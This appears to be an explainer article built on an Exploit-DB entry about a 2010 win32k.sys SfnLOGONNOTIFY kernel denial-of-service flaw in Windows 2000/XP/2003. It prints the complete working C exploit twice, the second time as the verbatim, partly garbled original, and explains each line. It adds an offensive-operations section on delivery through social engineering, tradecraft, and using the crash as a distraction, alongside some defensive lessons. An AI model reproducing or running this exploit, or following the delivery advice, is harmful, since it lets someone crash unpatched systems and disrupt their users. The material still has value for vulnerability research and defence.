Microsoft Windows XP/2000/2003 'win32k.sys' SfnLOGONNOTIFY Local Kernel Denial of Service Explained

What this paper is

This paper describes a vulnerability in the win32k.sys kernel driver on Microsoft Windows 2000, XP, and 2003 operating systems. The vulnerability allows a local attacker to cause a Denial of Service (DoS), resulting in a Blue Screen of Death (BSOD). The exploit targets a specific message handling path within the kernel.

Simple technical breakdown

The win32k.sys driver is responsible for handling windowing and graphical user interface (GUI) operations. When the system processes certain messages, it calls a function called DispatchMessage. Inside DispatchMessage, for a specific message (0x4c), it might call gapfnScSendMessage which, in turn, can call SfnLOGONNOTIFY.

The SfnLOGONNOTIFY function is designed to handle logon notifications. However, when the wParam parameter of this function is set to specific values (4, 13, or 12), it attempts to read data directly from the lParam pointer without proper validation. If the kernel is tricked into passing an invalid memory address or a malformed structure via lParam, SfnLOGONNOTIFY will try to dereference these invalid pointers, leading to a kernel memory access violation and a system crash (BSOD).

The exploit leverages this by finding a specific window (DDEMLEvent) and sending it a crafted message (0x4c) with a specific wParam (0x4) and a deliberately invalid lParam (0x80000000).

Complete code and payload walkthrough

The provided exploit code is a simple C program designed to trigger the vulnerability.

#include "stdafx.h"
#include "windows.h"

int main(int argc, char *argv[])
{
    printf("Microsoft Windows Win32k.sys SfnLOGONNOTIFY Local D.O.S Vuln\nBy MJ0011\nth_decoder@126.com\nPress Enter");
    getchar();

    HWND hwnd = FindWindow("DDEMLEvent", NULL);

    if (hwnd == 0)
    {
        printf("cannot find DDEMLEvent Window! \n");
        return 0;
    }

    PostMessage(hwnd, 0x4c, 0x4, 0x80000000);

    return 0;
}

Let's break down the code:

• #include "stdafx.h" and #include "windows.h": These are standard C/C++ preprocessor directives.

  • stdafx.h is a precompiled header file often used in Visual Studio projects. It typically includes common Windows headers.
  • windows.h is the primary header file for the Windows API, providing declarations for functions like FindWindow, PostMessage, and data types like HWND.

• int main(int argc, char *argv[]): This is the entry point of the C program.

  • argc (argument count) and argv (argument vector) are standard parameters for main, though they are not used in this specific exploit.

• printf("Microsoft Windows Win32k.sys SfnLOGONNOTIFY Local D.O.S Vuln\nBy MJ0011\nth_decoder@126.com\nPress Enter");: This line prints informational messages to the console, identifying the exploit and its author. It also prompts the user to press Enter.

• getchar();: This function waits for the user to press the Enter key. This acts as a manual trigger, allowing the operator to prepare or observe before the exploit is executed.

• HWND hwnd = FindWindow("DDEMLEvent", NULL);: This is a crucial step.

  • FindWindow is a Windows API function that searches for a top-level window with a specific class name and window name.
  • "DDEMLEvent": This is the class name of the window the exploit is looking for. This specific window class is associated with the Dynamic Data Exchange (DDE) management library, which is often running on older Windows systems.
  • NULL: This indicates that the window name is not specified.
  • HWND hwnd: If a window is found, FindWindow returns a handle (HWND) to it. If no such window is found, it returns 0 (NULL).

• if (hwnd == 0): This checks if FindWindow failed to find the target window.

  • printf("cannot find DDEMLEvent Window! \n");: If the window is not found, this error message is printed.
  • return 0;: The program exits gracefully if the target window is not present.

• PostMessage(hwnd, 0x4c, 0x4, 0x80000000);: This is the core of the exploit, sending the malicious message.

  • PostMessage is a Windows API function that posts a message to a message queue for a specified window. Unlike SendMessage, PostMessage returns immediately without waiting for the window procedure to process the message.
  • hwnd: The handle to the DDEMLEvent window found earlier.
  • 0x4c: This is the Msg parameter, representing the message ID. In the context of win32k.sys, this message ID (decimal 76) is processed by DispatchMessage and can lead to the vulnerable SfnLOGONNOTIFY function being called.
  • 0x4: This is the wParam parameter. The vulnerability is triggered when wParam is 4, 13, or 12. Here, it's set to 4.
  • 0x80000000: This is the lParam parameter. This is the critical part. The vulnerability description states that SfnLOGONNOTIFY reads DWORD values from lParam at offsets 0, 4, 8, and 12. By providing 0x80000000 as lParam, the exploit is passing a pointer that is likely invalid or points to a region of memory that the kernel should not be accessing in this manner. Specifically, 0x80000000 is a high memory address, and dereferencing it (*(_DWORD *)lParam) will cause an access violation.

• return 0;: The program exits after posting the message.

Mapping list:

• FindWindow("DDEMLEvent", NULL) -> Locates a specific window class known to be present on vulnerable systems, providing a target for the message.
• PostMessage(hwnd, 0x4c, 0x4, 0x80000000) -> Sends a crafted message to the target window.
  • 0x4c (Msg) -> Triggers the vulnerable message processing path in win32k.sys.
  • 0x4 (wParam) -> Satisfies the condition within SfnLOGONNOTIFY that leads to reading from lParam.
  • 0x80000000 (lParam) -> Provides an invalid memory address that, when dereferenced by the vulnerable kernel function, causes a crash.

Shellcode/Payload Segment Explanation:

There is no traditional shellcode or multi-stage payload in this exploit. The "payload" is the crafted Windows message itself. The PostMessage call directly invokes the vulnerable kernel function with specific parameters that lead to the DoS. The exploit's "payload" is the act of sending this message.

Practical details for offensive operations teams

• Required Access Level: Local user privileges are sufficient. The exploit runs as a user-level application and targets a kernel-level vulnerability.
• Lab Preconditions:
  • A target system running Windows 2000, Windows XP, or Windows Server 2003. These operating systems must not have the relevant security patches applied.
  • The target system must have the DDEMLEvent window class present and accessible. This is generally true for default installations of the affected OS versions.
  • A development environment capable of compiling C/C++ code (e.g., Visual Studio, MinGW) is needed to build the exploit executable.
• Tooling Assumptions:
  • A C/C++ compiler.
  • The Windows SDK or equivalent headers (windows.h).
  • The exploit executable itself.
• Execution Pitfalls:
  • Target OS Version: The exploit will not work on Windows Vista, Windows 7, or later versions, as the vulnerability was patched.
  • Patching: If the target system has been patched against this specific vulnerability (e.g., via Windows Update), the exploit will likely fail to cause a crash.
  • DDEMLEvent Window Not Found: If for some reason the DDEMLEvent window is not running or has a different class name, FindWindow will fail, and the exploit will not proceed. This is less common on default installations of the vulnerable OS.
  • Anti-Virus/Endpoint Detection: While this is a kernel-level DoS, modern endpoint security solutions might detect the suspicious API calls (FindWindow, PostMessage with specific parameters) or the unusual system behavior leading to a crash, though detecting a DoS exploit can be challenging.
  • System Stability: Executing this exploit on a production system, even if authorized, carries the inherent risk of causing an unrecoverable crash, leading to data loss or service interruption. Careful planning and authorization are paramount.
• Tradecraft Considerations:
  • Reconnaissance: Confirming the target OS version and patch level is critical before attempting execution.
  • Delivery: The exploit executable needs to be delivered to the target system. This could be via social engineering, file shares, or other means depending on the engagement scope.
  • Execution: The exploit is a standalone executable. It can be run directly by a user or, if elevated privileges are obtained through other means, it can be executed with higher permissions (though not strictly necessary for this DoS).
  • Post-Exploitation: The primary outcome is a system crash. If the goal is to gain further access, this DoS would typically be a precursor to a privilege escalation exploit or a distraction.

Where this was used and when

• Context: This vulnerability was likely used in scenarios where an attacker wanted to disrupt a specific Windows 2000, XP, or 2003 system. This could be for sabotage, as part of a larger attack chain to cover tracks, or simply to demonstrate impact.
• Approximate Years/Dates: The exploit was published on April 22, 2010. This indicates that the vulnerability was likely discovered and weaponized around or before this date. The affected operating systems (Windows 2000, XP, 2003) were widely in use during the 2000s. Therefore, this vulnerability would have been relevant from its discovery until it was patched by Microsoft.

Defensive lessons for modern teams

• Patch Management is Paramount: This exploit highlights the critical importance of timely patching. Keeping operating systems and kernel drivers updated is the primary defense against known vulnerabilities.
• Kernel Driver Security: Kernel drivers are high-privilege components. Vulnerabilities in them have a high impact. Secure coding practices, rigorous testing, and static/dynamic analysis of kernel code are essential.
• Message Handling Validation: Input validation is crucial, especially when dealing with messages passed between user-mode and kernel-mode, or within the kernel itself. Never trust data passed from less trusted sources (like user-mode applications or even other kernel components without proper sanitization).
• Least Privilege: While this exploit is local, the principle of least privilege still applies. If an attacker can't gain initial access or execute code, they can't trigger the vulnerability.
• System Monitoring: While detecting a DoS can be difficult, monitoring for unusual system behavior, unexpected reboots, or critical errors in system logs can provide early warning signs.
• Vulnerability Research Awareness: Understanding common vulnerability classes (like improper input validation, race conditions, use-after-free) in kernel components helps in developing more robust defenses and detection mechanisms.

ASCII visual (if applicable)

This exploit is a direct interaction between a user-mode process and the kernel. A simple visual representation of the flow:

+-----------------+       +-----------------+       +-----------------+
| User-Mode       |       | Windows API     |       | Kernel-Mode     |
| (Exploit App)   | ----> | (PostMessage)   | ----> | (win32k.sys)    |
+-----------------+       +-----------------+       +-----------------+
        ^                                                   |
        |                                                   v
        |                                           +-----------------+
        |                                           | DispatchMessage |
        |                                           +-----------------+
        |                                                   |
        |                                                   v
        |                                           +-----------------+
        |                                           | SfnLOGONNOTIFY  |
        |                                           +-----------------+
        |                                                   |
        |                                                   v
        |                                           +-----------------+
        |                                           | Dereference     |
        |                                           | Invalid Pointer |
        |                                           +-----------------+
        |                                                   |
        +---------------------------------------------------+
                                                            v
                                                    +-----------------+
                                                    | BSOD (Crash)    |
                                                    +-----------------+

Source references

• Paper ID: 12336
• Paper Title: Microsoft Windows XP/2000/2003 - 'win32k.sys' SfnLOGONNOTIFY Local kernel Denial of Service
• Author: MJ0011
• Published: 2010-04-22
• Keywords: Windows, dos
• Paper URL: https://www.exploit-db.com/papers/12336
• Raw Exploit URL: https://www.exploit-db.com/raw/12336

Original Exploit-DB Content (Verbatim)

/*
Windows 2000/XP/2003 win32k.sys SfnLOGONNOTIFY local kernel Denial of Service Vulnerability 

Effect : Microsoft Windows 2000/XP/2003 full patch 


Author:MJ0011
Published: 2010-04-22


Vulnerability Details: 

Win32k.sys in DispatchMessage when the last call to xxxDefWindowProc, this function in dealing with some 
Message, will call gapfnScSendMessage this function table function to process, which under the deal 2000/xp/2003 
0x4c No. message, there will be a function called SfnLOGONNOTIFY, this function again when the wParam == 4/13/12 
When the data directly from the lParam inside out, despite the use of the function of the SEH, but as long as the kernel passes the wrong address, will still lead to 
BSOD 

Pseudo-code: 

if (wParam == 4 | | wParam == 13 | | wParam == 12) 
( 
    v18 = * (_DWORD *) lParam; 
    v19 = * (_DWORD *) (lParam 4); 
    v20 = * (_DWORD *) (lParam 8); 
    v21 = * (_DWORD *) (lParam 12); 
*/

//Exploit code: 

# Include "stdafx.h" 
# Include "windows.h" 
int main (int argc, char * argv []) 
( 
printf("Microsoft Windows Win32k.sys SfnLOGONNOTIFY Local D.O.S Vuln\nBy MJ0011\nth_decoder@126.com\nPressEnter");

getchar();

HWND hwnd = FindWindow ("DDEMLEvent", NULL); 

if (hwnd == 0) 
( 
   printf ("cannot find DDEMLEvent Window! \ n"); 
   return 0; 
) 

PostMessage (hwnd, 0x4c, 0x4, 0x80000000); 


return 0; 
) 

Common crash stack: 

kd> kc 

win32k! SfnLOGONNOTIFY 
win32k! xxxDefWindowProc 
win32k! xxxEventWndProc 
win32k! xxxDispatchMessage 
win32k! NtUserDispatchMessage 
/*
.... 

Windows 7/Vista no such problem 

Thanks: 

Thanks to my colleagues LYL to help me discovered this vulnerability 



th_decoder
2010-04-22
*/